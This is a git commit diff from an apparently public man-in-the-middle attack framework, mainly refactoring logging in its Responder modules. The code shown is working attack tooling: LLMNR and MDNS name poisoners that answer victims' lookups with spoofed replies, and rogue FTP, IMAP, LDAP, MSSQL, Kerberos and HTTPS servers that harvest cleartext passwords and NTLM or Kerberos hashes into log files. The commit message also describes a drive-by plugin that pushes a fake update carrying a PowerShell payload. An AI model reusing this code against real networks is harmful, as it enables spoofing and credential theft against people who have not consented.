This is a vewwwy big commit

- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes
- The logging of the whole framework has been compleatly overhauled
- plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying!
- New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload
- the API of the plugins has been simplified
- Improvements and error handling to user-agent parsing
- Some misc bugfixes
This commit is contained in:
byt3bl33d3r 2015-07-18 20:14:07 +02:00
commit 5e2f30fb89
64 changed files with 3748 additions and 1473 deletions

View file

@ -1,4 +1,3 @@
import socket
import threading
import struct
@ -7,23 +6,25 @@ import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.fingerprinter.RAPLANMANPackets import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LANfingerprinter", formatter)
class LANFingerprinter():
class LANfingerprinter():
def start(self, options):
global args; args = options #For now a quick hack to make argparse's namespace object available to all
global args; args = options
try:
mitmf_logger.debug("[LANFingerprinter] online")
log.debug("online")
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
t = threading.Thread(name="LANFingerprinter", target=server.serve_forever)
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e))
except Exception as e:
log.error("Error starting on port 138: {}:".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
@ -70,8 +71,8 @@ def Decode_Name(nbname):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception, e:
mitmf_logger.debug("[LANFingerprinter] Error parsing NetBIOS name: {}".format(e))
except Exception as e:
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
def WorkstationFingerPrint(data):
@ -201,8 +202,8 @@ def BecomeBackup(data, Client):
Role = NBT_NS_Role(data[45:48])
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning("[LANFingerprinter] Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
log.warning(Message1)
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
except:
pass
@ -215,8 +216,8 @@ def BecomeBackup(data, Client):
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass
@ -229,7 +230,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
mitmf_logger.warning(Message1)
mitmf_logger.warning('[LANFingerprinter] Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass

View file

@ -6,20 +6,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("FTPserver", formatter)
class FTPServer():
class FTPserver():
def start(self):
try:
mitmf_logger.debug("[FTPServer] online")
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
t = threading.Thread(name="FTPServer", target=server.serve_forever)
t = threading.Thread(name="FTPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
log.error("Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -45,7 +47,7 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
log.info('{} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t))
data = self.request.recv(1024)
@ -53,7 +55,7 @@ class FTP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t))
data = self.request.recv(1024)
@ -62,4 +64,4 @@ class FTP(BaseRequestHandler):
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))
log.error("Error handling request: {}".format(e))

View file

@ -1,145 +0,0 @@
##################################################################################
#HTTPS Server stuff starts here (Not Used)
##################################################################################
class HTTPSProxy():
def serve_thread_SSL(host, port, handler):
try:
server = SSlSock((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
#Function name self-explanatory
def start(SSL_On_Off):
if SSL_On_Off == "ON":
t = threading.Thread(name="SSL", target=self.serve_thread_SSL, args=("0.0.0.0", 443,DoSSL))
t.setDaemon(True)
t.start()
return t
if SSL_On_Off == "OFF":
return False
class SSlSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
ctx.use_privatekey_file(SSLkey)
ctx.use_certificate_file(SSLcert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass
class DoSSL(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
buff = WpadCustom(data,self.client_address[0])
if buff:
self.exchange.send(buff)
else:
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
self.exchange.send(buffer0)
except:
pass
#Parse NTLMv1/v2 hash.
def ParseHTTPSHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
#print "[+]HTTPS NTLMv1 hash captured from :",client
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
#print "Hostname is :", Hostname
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
#print "Complete hash is : ", WriteHash
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
#print "[+]HTTPS NTLMv2 hash captured from :",client
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
#print "Domain is : ", Domain
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
#print "User is :", User
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
#print "Hostname is :", HostName
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
#print "Complete hash is : ", WriteHash
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
#Handle HTTPS packet sequence.
def HTTPSPacketSequence(data,client):
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if a:
packetNtlm = b64decode(''.join(a))[8:9]
if packetNtlm == "\x01":
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a))
ParseHTTPSHash(NTLM_Auth,client)
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
if b:
GrabCookie(data,client)
outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
else:
return str(Basic_Ntlm(Basic))
##################################################################################
#HTTPS Server stuff ends here (Not Used)
##################################################################################

View file

@ -4,20 +4,22 @@ import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from IMAPPackets import *
from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("IMAPserver", formatter)
class IMAPServer():
class IMAPserver():
def start(self):
try:
mitmf_logger.debug("[IMAPServer] online")
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
t = threading.Thread(name="IMAPServer", target=server.serve_forever)
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
log.error("Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -43,9 +45,9 @@ class IMAP(BaseRequestHandler):
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024)
except Exception as e:
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))
log.error("Error handling request: {}".format(e))

View file

@ -1,34 +1,34 @@
import socket
import threading
import struct
import logging
from core.logger import logger
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("KERBserver", formatter)
class KERBServer():
class KERBserver():
def serve_thread_udp(self, host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server.serve_forever()
except Exception, e:
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e))
except Exception as e:
log.debug("Error starting UDP server on port 88: {}:".format(e))
def serve_thread_tcp(self, host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e))
except Exception as e:
log.debug("Error starting TCP server on port 88: {}:".format(e))
#Function name self-explanatory
def start(self):
mitmf_logger.debug("[KERBServer] online")
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
log.debug("online")
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
for t in [t1,t2]:
t.setDaemon(True)
t.start()
@ -54,7 +54,7 @@ class KerbTCP(BaseRequestHandler):
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise
@ -65,7 +65,7 @@ class KerbUDP(BaseRequestHandler):
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise

View file

@ -6,22 +6,24 @@ import re
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from LDAPPackets import *
from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LDAPserver", formatter)
class LDAPServer():
class LDAPserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
mitmf_logger.debug("[LDAPServer] online")
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
t = threading.Thread(name="LDAPServer", target=server.serve_forever)
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
log.error("Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -60,11 +62,11 @@ def ParseLDAPHash(data,client):
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
WriteData(Outfile,writehash,User+"::"+Domain)
#print "[LDAP] NTLMv1 complete hash is :", writehash
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
log.info('NTLMv1 complete hash is :%s'%(writehash))
if LMhashLen <2 :
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
#print Message
mitmf_logger.info(Message)
log.info(Message)
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
@ -93,8 +95,8 @@ def ParseLDAPPacket(data,client):
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
log.info('User: %s Password: %s'%(UserDomain,Password))
if sasl == "\xA3":
buff = ParseNTLM(data,client)
return buff
@ -102,7 +104,7 @@ def ParseLDAPPacket(data,client):
buff = ParseSearch(data)
return buff
else:
mitmf_logger.info('[LDAPServer] Operation not supported')
log.info('Operation not supported')
#LDAP Server Class
class LDAP(BaseRequestHandler):

View file

@ -1,34 +1,34 @@
#! /usr/bin/env python2.7
import socket
import threading
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LLMNRpoisoner", formatter)
class LLMNRPoisoner:
class LLMNRpoisoner:
def start(self, options, ourip):
global args; args = options #For now a quick hack to make argparse's namespace object available to all
global args; args = options #For now a quick way to make argparse's namespace object available to all
global OURIP ; OURIP = ourip #and our ip address
try:
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True)
t.start()
except Exception, e:
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
except Exception as e:
log.error("Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
@ -82,7 +82,7 @@ class LLMNR(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
else:
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
@ -118,13 +118,13 @@ class LLMNR(BaseRequestHandler):
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
@ -132,13 +132,13 @@ class LLMNR(BaseRequestHandler):
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
@ -147,26 +147,26 @@ class LLMNR(BaseRequestHandler):
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
else:
pass

View file

@ -1,5 +1,3 @@
#! /usr/bin/env python2.7
import threading
import socket
import struct
@ -10,10 +8,12 @@ from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
from core.logger import logger
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MDNSpoisoner", formatter)
class MDNSPoisoner():
class MDNSpoisoner():
def start(self, options, ourip):
@ -21,13 +21,13 @@ class MDNSPoisoner():
global OURIP; OURIP = ourip
try:
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
log.error("Error starting on port 5353: {}" .format(e))
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
@ -78,7 +78,7 @@ class MDNS(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
ResponderConfig = ConfigWatcher().config['Responder']
RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251"
@ -89,14 +89,14 @@ class MDNS(BaseRequestHandler):
try:
if args.analyze:
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
@ -104,7 +104,7 @@ class MDNS(BaseRequestHandler):
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()

View file

@ -2,25 +2,27 @@ import struct
import logging
import threading
from core.logger import logger
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *
mitmf_logger = logging.getLogger("mitmf")
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MSSQLserver", formatter)
class MSSQLServer():
class MSSQLserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
mitmf_logger.debug("[MSSQLServer] online")
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
log.error("Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@ -47,10 +49,10 @@ def ParseSQLHash(data,client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
@ -64,10 +66,10 @@ def ParseSQLHash(data,client):
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
@ -86,7 +88,7 @@ def ParseClearTextSQLPass(Data,client):
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
